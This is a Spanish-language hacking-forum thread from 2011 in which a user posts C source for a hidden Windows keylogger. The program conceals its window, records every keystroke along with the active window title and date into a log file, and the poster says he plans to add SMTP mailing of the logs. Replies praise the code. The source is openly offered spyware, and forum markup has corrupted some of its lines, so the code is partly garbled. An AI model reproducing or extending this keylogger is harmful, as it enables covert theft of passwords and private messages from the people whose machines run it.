Keylogger C

  • 4 Respuestas
  • 4360 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado mrobles

  • *
  • Underc0der
  • Mensajes: 18
  • Actividad:
    0%
  • Reputación 0
  • Mrobles RETURN
    • Ver Perfil
    • Email

Keylogger C

  • en: Junio 03, 2011, 11:10:25 am
Código: C
  1. /*
  2. Características:
  3. - Se inicia en la ruta donde sea ejecutado
  4.   |No se añade al registro|
  5. - Guarda un log de todos los sucesos así como de las teclas pulsadas,
  6.   en el archivo "LgPh.log" con el título de la ventana y la fecha
  7. -Se ejecuta en modo HIDE
  8.  
  9. - Contacto:
  10. Coded by Lympex - lympex[at]gmail[dot]com && http://l-bytes.tk
  11. */
  12. /*
  13.  
  14. Modificacion de keyloguer básico - Coded by P[i]
  15. Modificacion de keyloguer final - mrobles
  16. ------------------------------------------------
  17.  
  18. - Modificado el modo de indentificar las teclas.
  19. - Cuando se pulsan 850 teclas tambien se guarda ( Sino nos da un error )
  20.  
  21.  
  22. P[i] - [email protected]
  23. [email protected]
  24.  
  25. */
  26.  
  27. #include <stdio.h>
  28. #include <stdlib.h>
  29. #include <windows.h>
  30. #include <time.h>
  31.  
  32. #define OK -32767
  33.  
  34. int main(){
  35. HWND ventana=GetForegroundWindow();
  36. ShowWindow(ventana,SW_HIDE);
  37.  {
  38.     FILE *log;
  39.     HWND ventana;    
  40.     time_t ltime;
  41.     int tecla=0;
  42.     int cont=0;
  43.     char TVentana[500] = "";                    
  44.     char Teclas[10240]=""; //      0  1      2          3          4  5          6  7  8              9       10
  45.     char simbol[256][15] =/*0*/  {"","","[CliC-I]","[CliC-D]","","[CliC-C]","","","[Retroceder]","[TAB]","",
  46.                           /*1*/      "","","[ENTER]","","","[SHIFT]","[CONTROL]","[ALT]","","[Mayusculas]",
  47.                           /*2*/      "","","","","","","[Esc]","","","",
  48.                           /*3*/      ""," ","[Re-Pag]","[Av-Pag]","","[Inicio]","[Izquierda]","[Arriba]","[Derecha]","[Abajo]",
  49.                           /*4*/      "","","","[PrtSc]","[Insert]","[Supr]","","0","1","2",
  50.                           /*5*/      "3","4","5","6","7","8","9","","","",
  51.                           /*6*/      "","","","","a","b","c","d","e","f",
  52.                           /*7*/      "g","h","i","j","k","l","m","n","o","p",
  53.                           /*8*/      "q","r","s","t","u","v","w","x","y","z",
  54.                           /*9*/      "[WIN-I]","[WIN-D]","[D-WIN]","","","0","1","2","3",
  55.                           /*10*/     "4","5","6","7","8","9","*","+"," ","-",".",
  56.                           /*11*/     "/","[F1]","[F2]","[F3]","[F4]","[F5]","[F6]","[F7]","[F8]","[F9]",
  57.                           /*12*/     "[F10]","[F11]","[F12]"," "," "," "," "," "," "," ",
  58.                           /*13*/     " "," "," "," "," "," "," "," "," "," "," ",
  59.                           /*14*/     " "," ","[Bloq Num]"," "," "," "," "," "," ",
  60.                           /*15*/     " "," "," "," "," "," "," "," "," ","[Shift-I]",
  61.                           /*16*/     "[Shift-D]"," "," "," "," "," "," "," "," "," ",
  62.                           /*17*/     " "," "," "," "," "," "," "," "," "," ",
  63.                           /*18*/     " "," "," "," "," "," "," ",",","-",".",
  64.                           /*19*/     " "," "," "," "," "," "," "," "," ",
  65.                           /*20*/     " "," "," "," "," "," "," "," "," "," "," ",
  66.                           /*21*/     " "," "," "," "," "," "," "," ","'","\\",
  67.                           /*22*/     "¡","´" };
  68.      
  69.    log=fopen("log.log","a");
  70.    fprintf(log,"\n/******************************/");
  71.    fprintf(log,"\n/* <ul class="bbc_list"><li type="disc">KeyLoGuer   */");[/li][/list]
  72.    fprintf(log,"\n/* </li><li type="disc">Iniciando...OK ");[/li][/list]
  73.    fprintf(log,"\n/******************************/");
  74.    fclose(log);
  75.            
  76.    ventana=GetForegroundWindow();
  77.    
  78.    while(1) {
  79.       if((GetForegroundWindow()!=ventana) || (cont==850)){
  80.          if(strlen(TVentana)>0 && strlen(Teclas)>0) {
  81.             time(&ltime);
  82.             ctime(&ltime);
  83.  
  84.             log=fopen("log.log","a");
  85.             fprintf(log,"\n\n</li><li type="disc"> Fecha: %s",ctime(&ltime));[/li][/list]
  86.             fprintf(log,"</li><li type="disc"> Ventana: %s ",TVentana);[/li][/list]
  87.             fprintf(log,"\n</li><li type="disc"> Texto: %s",Teclas);[/li][/list]
  88.             fprintf(log,"\n ");
  89.             fprintf(log,"\n/******************************/\n");
  90.             fclose(log);
  91.  
  92.             free(Teclas);
  93.             strcpy(Teclas,"");
  94.             cont = 0;
  95.             }
  96.          ventana=GetForegroundWindow();
  97.          }
  98.       else {
  99.            GetWindowText(ventana,TVentana,500);
  100.            }
  101.       for(tecla=4;tecla<256;tecla++) {
  102.           if (GetAsyncKeyState(tecla)==OK) {
  103.               strcat(Teclas,simbol[tecla]);
  104.               printf(" %s \n" ,simbol[tecla]);
  105.               cont++;
  106.               }
  107.           }
  108.     }
  109. }
  110. }
  111.  
« Última modificación: Febrero 08, 2014, 05:47:59 pm por Expermicid »
Si piensas que los usuarios de tus programas son idiotas, sólo los idiotas usarán tus programas

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5705
  • Actividad:
    26.67%
  • Country: ar
  • Reputación 37
  • ANTRAX
  • Skype: underc0de.org
  • Twitter: @Underc0de
    • Ver Perfil
    • Underc0de
    • Email

Re:Keylogger C

  • en: Junio 03, 2011, 11:13:19 am
Se lo ve Excelente! cuando tenga tiempo me voy a poner a probarlo!
Muchas gracias


Desconectado mrobles

  • *
  • Underc0der
  • Mensajes: 18
  • Actividad:
    0%
  • Reputación 0
  • Mrobles RETURN
    • Ver Perfil
    • Email

Re:Keylogger C

  • en: Junio 03, 2011, 11:22:40 am
Falta el sudo SMTP para mandar los logs por mail pero eso lo toi montando aun XD
Si piensas que los usuarios de tus programas son idiotas, sólo los idiotas usarán tus programas

Desconectado [L]ord [R]NA

  • *
  • Underc0der
  • Mensajes: 89
  • Actividad:
    0%
  • Reputación 0
  • H-Sec
  • Skype: lordrna
  • Twitter: lordrna
    • Ver Perfil

Re:Keylogger C

  • en: Junio 03, 2011, 09:44:02 pm
Falta el sudo SMTP para mandar los logs por mail pero eso lo toi montando aun XD
Sudo en Windows... WTF?

Desconectado mrobles

  • *
  • Underc0der
  • Mensajes: 18
  • Actividad:
    0%
  • Reputación 0
  • Mrobles RETURN
    • Ver Perfil
    • Email

Re:Keylogger C

  • en: Junio 04, 2011, 05:22:04 am
seudo xD
Si piensas que los usuarios de tus programas son idiotas, sólo los idiotas usarán tus programas

 

Detectar teclas presionadas por HOOKS (Keylogger base)

Iniciado por linkgl

Respuestas: 2
Vistas: 4706
Último mensaje Agosto 20, 2011, 12:28:05 pm
por linkgl
Keylogger basico

Iniciado por @ed33x

Respuestas: 4
Vistas: 5084
Último mensaje Mayo 18, 2011, 02:39:02 pm
por Snifer
Keylogger en C++

Iniciado por Jhonjhon_123

Respuestas: 1
Vistas: 9790
Último mensaje Mayo 26, 2011, 06:11:16 pm
por maximus